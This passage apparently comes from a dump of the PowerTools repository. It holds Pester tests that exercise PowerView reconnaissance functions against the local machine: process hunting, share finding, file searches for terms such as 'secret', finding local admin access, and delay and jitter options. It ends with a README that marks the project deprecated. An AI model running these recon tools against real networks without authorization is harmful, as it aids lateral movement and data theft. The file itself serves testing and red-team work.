Measure-Object).count -lt 1) { 449 | Remove-Item -Force ".\targets.txt" 450 | Throw "Insuffient results returned" 451 | } 452 | else { 453 | Remove-Item -Force ".\targets.txt" 454 | } 455 | } 456 | It "Should accept -ProcessName argument" { 457 | if ( (Invoke-ProcessHunter -ComputerName "$env:computername.$env:userdnsdomain" -ProcessName powershell | Measure-Object).count -lt 1) { 458 | Throw "Insuffient results returned" 459 | } 460 | } 461 | It "Should accept -UserFile argument" { 462 | "$env:USERNAME" | Out-File -Encoding ASCII target_users.txt 463 | if ( (Invoke-ProcessHunter -ComputerName "$env:computername.$env:userdnsdomain" -UserFile ".\target_users.txt" | Measure-Object).count -lt 1) { 464 | Remove-Item -Force ".\target_users.txt" 465 | Throw "Insuffient results returned" 466 | } 467 | else { 468 | Remove-Item -Force ".\target_users.txt" 469 | } 470 | } 471 | It "Should accept -NoPing flag" { 472 | if ( (Invoke-ProcessHunter -ComputerName "$env:computername.$env:userdnsdomain" -UserName $env:USERNAME -NoPing | Measure-Object).count -lt 1) { 473 | Throw "Insuffient results returned" 474 | } 475 | } 476 | It "Should accept -Delay and -Jitter arguments" { 477 | if ( (Invoke-ProcessHunter -UserName $env:USERNAME -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername.$env:userdnsdomain", "$env:computername.$env:userdnsdomain") | Measure-Object).count -lt 1) { 478 | Throw "Insuffient results returned" 479 | } 480 | } 481 | It "Should accept pipeline input" { 482 | if ( ("$env:computername.$env:userdnsdomain" | Invoke-ProcessHunter -UserName $env:USERNAME | Measure-Object).count -lt 1) { 483 | Throw "Insuffient results returned" 484 | } 485 | } 486 | } 487 | 488 | 489 | Describe "Invoke-ShareFinder" { 490 | It "Should accept -ComputerName argument" { 491 | if ( (Invoke-ShareFinder -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { 492 | Throw "Insuffient results returned" 493 | } 494 | } 495 | It "Should accept -ComputerFile argument" { 496 | "$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain" | Out-File -Encoding ASCII targets.txt 497 | if ( (Invoke-ShareFinder -ComputerFile ".\targets.txt" | Measure-Object).count -lt 1) { 498 | Remove-Item -Force ".\targets.txt" 499 | Throw "Insuffient results returned" 500 | } 501 | else { 502 | Remove-Item -Force ".\targets.txt" 503 | } 504 | } 505 | It "Should accept -ExcludeStandard argument" { 506 | {Invoke-ShareFinder -ComputerName "$env:computername.$env:userdnsdomain" -ExcludeStandard} | Should Not Throw 507 | } 508 | It "Should accept -ExcludePrint argument" { 509 | if ( (Invoke-ShareFinder -ComputerName "$env:computername.$env:userdnsdomain" -ExcludePrint | Measure-Object).count -lt 1) { 510 | Throw "Insuffient results returned" 511 | } 512 | } 513 | It "Should accept -ExcludeIPC argument" { 514 | if ( (Invoke-ShareFinder -ComputerName "$env:computername.$env:userdnsdomain" -ExcludeIPC | Measure-Object).count -lt 1) { 515 | Throw "Insuffient results returned" 516 | } 517 | } 518 | It "Should accept -CheckShareAccess argument" { 519 | if ( (Invoke-ShareFinder -ComputerName "$env:computername.$env:userdnsdomain" -CheckShareAccess | Measure-Object).count -lt 1) { 520 | Throw "Insuffient results returned" 521 | } 522 | } 523 | It "Should accept -CheckAdmin argument" { 524 | if ( (Invoke-ShareFinder -ComputerName "$env:computername.$env:userdnsdomain" -CheckAdmin | Measure-Object).count -lt 1) { 525 | Throw "Insuffient results returned" 526 | } 527 | } 528 | It "Should accept -NoPing argument" { 529 | if ( (Invoke-ShareFinder -NoPing -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { 530 | Throw "Insuffient results returned" 531 | } 532 | } 533 | It "Should accept -Delay and -Jitter arguments" { 534 | if ( (Invoke-ShareFinder -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername.$env:userdnsdomain", "$env:computername.$env:userdnsdomain") | Measure-Object).count -lt 1) { 535 | Throw "Insuffient results returned" 536 | } 537 | } 538 | It "Should accept pipeline input" { 539 | if ( ("$env:computername.$env:userdnsdomain" | Invoke-ShareFinder | Measure-Object).count -lt 1) { 540 | Throw "Insuffient results returned" 541 | } 542 | } 543 | } 544 | 545 | 546 | Describe "Invoke-FileFinder" { 547 | It "Should accept -ComputerName argument" { 548 | {Invoke-FileFinder -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw 549 | } 550 | It "Should accept -ComputerFile argument" { 551 | "$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain" | Out-File -Encoding ASCII targets.txt 552 | {Invoke-FileFinder -ComputerFile ".\targets.txt"} | Should Not Throw 553 | Remove-Item -Force ".\targets.txt" 554 | } 555 | It "Should accept -ShareList argument" { 556 | "\\$($env:computername)\\IPC$" | Out-File -Encoding ASCII shares.txt 557 | {Invoke-FileFinder -ShareList ".\shares.txt"} | Should Not Throw 558 | Remove-Item -Force ".\shares.txt" 559 | } 560 | It "Should accept -Terms argument" { 561 | {Invoke-FileFinder -Terms secret,testing -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw 562 | } 563 | It "Should accept -OfficeDocs argument" { 564 | {Invoke-FileFinder -OfficeDocs -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw 565 | } 566 | It "Should accept -FreshEXEs argument" { 567 | {Invoke-FileFinder -FreshEXEs -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw 568 | } 569 | It "Should accept -LastAccessTime argument" { 570 | {Invoke-FileFinder -LastAccessTime "01/01/2000" -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw 571 | } 572 | It "Should accept -LastWriteTime argument" { 573 | {Invoke-FileFinder -LastWriteTime "01/01/2000" -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw 574 | } 575 | It "Should accept -ExcludeFolders argument" { 576 | {Invoke-FileFinder -ExcludeFolders -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw 577 | } 578 | It "Should accept -ExcludeHidden argument" { 579 | {Invoke-FileFinder -ExcludeHidden -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw 580 | } 581 | It "Should accept -CreationTime argument" { 582 | {Invoke-FileFinder -CreationTime "01/01/2000" -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw 583 | } 584 | It "Should accept -OutFile argument" { 585 | {Invoke-FileFinder -ComputerName "$env:computername.$env:userdnsdomain" -OutFile "found_files.csv"} | Should Not Throw 586 | if(Test-Path -Path .\found_files.csv) { 587 | $Null = Remove-Item -Force .\found_files.csv 588 | } 589 | } 590 | It "Should accept -NoPing argument" { 591 | {Invoke-FileFinder -NoPing -ComputerName "$env:computername.$env:userdnsdomain"} | Should Not Throw 592 | } 593 | It "Should accept -Delay and -Jitter arguments" { 594 | {Invoke-FileFinder -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain")} | Should Not Throw 595 | } 596 | It "Should accept pipeline input" { 597 | {"$env:computername.$env:userdnsdomain" | Invoke-FileFinder} | Should Not Throw 598 | } 599 | } 600 | 601 | 602 | Describe "Find-LocalAdminAccess" { 603 | It "Should accept -ComputerName argument" { 604 | if ( (Find-LocalAdminAccess -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { 605 | Throw "Insuffient results returned" 606 | } 607 | } 608 | It "Should accept -ComputerFile argument" { 609 | "$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain" | Out-File -Encoding ASCII targets.txt 610 | if ( (Find-LocalAdminAccess -ComputerFile ".\targets.txt" | Measure-Object).count -lt 1) { 611 | Remove-Item -Force ".\targets.txt" 612 | Throw "Insuffient results returned" 613 | } 614 | else { 615 | Remove-Item -Force ".\targets.txt" 616 | } 617 | } 618 | It "Should accept -NoPing argument" { 619 | if ( (Find-LocalAdminAccess -NoPing -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { 620 | Throw "Insuffient results returned" 621 | } 622 | } 623 | It "Should accept -Delay and -Jitter arguments" { 624 | if ( (Find-LocalAdminAccess -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain") | Measure-Object).count -lt 1) { 625 | Throw "Insuffient results returned" 626 | } 627 | } 628 | It "Should accept pipeline input" { 629 | if ( ("$env:computername.$env:userdnsdomain" | Find-LocalAdminAccess | Measure-Object).count -lt 1) { 630 | Throw "Insuffient results returned" 631 | } 632 | } 633 | } 634 | 635 | 636 | Describe "Invoke-EnumerateLocalAdmin" { 637 | It "Should accept -ComputerName argument" { 638 | if ( (Invoke-EnumerateLocalAdmin -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { 639 | Throw "Insuffient results returned" 640 | } 641 | } 642 | It "Should accept -ComputerFile argument" { 643 | "$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain" | Out-File -Encoding ASCII targets.txt 644 | if ( (Invoke-EnumerateLocalAdmin -ComputerFile ".\targets.txt" | Measure-Object).count -lt 1) { 645 | Remove-Item -Force ".\targets.txt" 646 | Throw "Insuffient results returned" 647 | } 648 | else { 649 | Remove-Item -Force ".\targets.txt" 650 | } 651 | } 652 | It "Should accept -NoPing argument" { 653 | if ( (Invoke-EnumerateLocalAdmin -NoPing -ComputerName "$env:computername.$env:userdnsdomain" | Measure-Object).count -lt 1) { 654 | Throw "Insuffient results returned" 655 | } 656 | } 657 | It "Should accept -Delay and -Jitter arguments" { 658 | if ( (Invoke-EnumerateLocalAdmin -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername.$env:userdnsdomain","$env:computername.$env:userdnsdomain") | Measure-Object).count -lt 1) { 659 | Throw "Insuffient results returned" 660 | } 661 | } 662 | It "Should accept -Outfile argument" { 663 | Invoke-EnumerateLocalAdmin -ComputerName "$env:computername.$env:userdnsdomain" -OutFile "local_admins.csv" 664 | ".\local_admins.csv" | Should Exist 665 | Remove-Item -Force .\local_admins.csv 666 | } 667 | It "Should accept pipeline input" { 668 | if ( ("$env:computername.$env:userdnsdomain" | Invoke-EnumerateLocalAdmin | Measure-Object).count -lt 1) { 669 | Throw "Insuffient results returned" 670 | } 671 | } 672 | } 673 | -------------------------------------------------------------------------------- /PowerView/powerview.psd1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/b980b13844166bf206f51e80ba2d70368515ab15/PowerView/powerview.psd1 -------------------------------------------------------------------------------- /PowerView/powerview.psm1: -------------------------------------------------------------------------------- 1 | Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PowerTools Is Now Deprecated! 2 | 3 | ### PowerView and PowerUp have moved to the [PowerSploit repository](https://github.com/PowerShellMafia/PowerSploit/) under ./Recon/ and ./Privesc/ respectively. 4 | 5 | ### PowerPick will move repository locations shortly back to its original home. 6 | 7 | ### PewPewPew is no longer supported. 8 | 9 | No pull requests will be accepted and no issues will be answered, however the repository code will be left up for the time being. 10 | 11 | Originally developed by [@harmj0y](https://twitter.com/harmj0y) and [@sixdub](https://twitter.com/sixdub) 12 | --------------------------------------------------------------------------------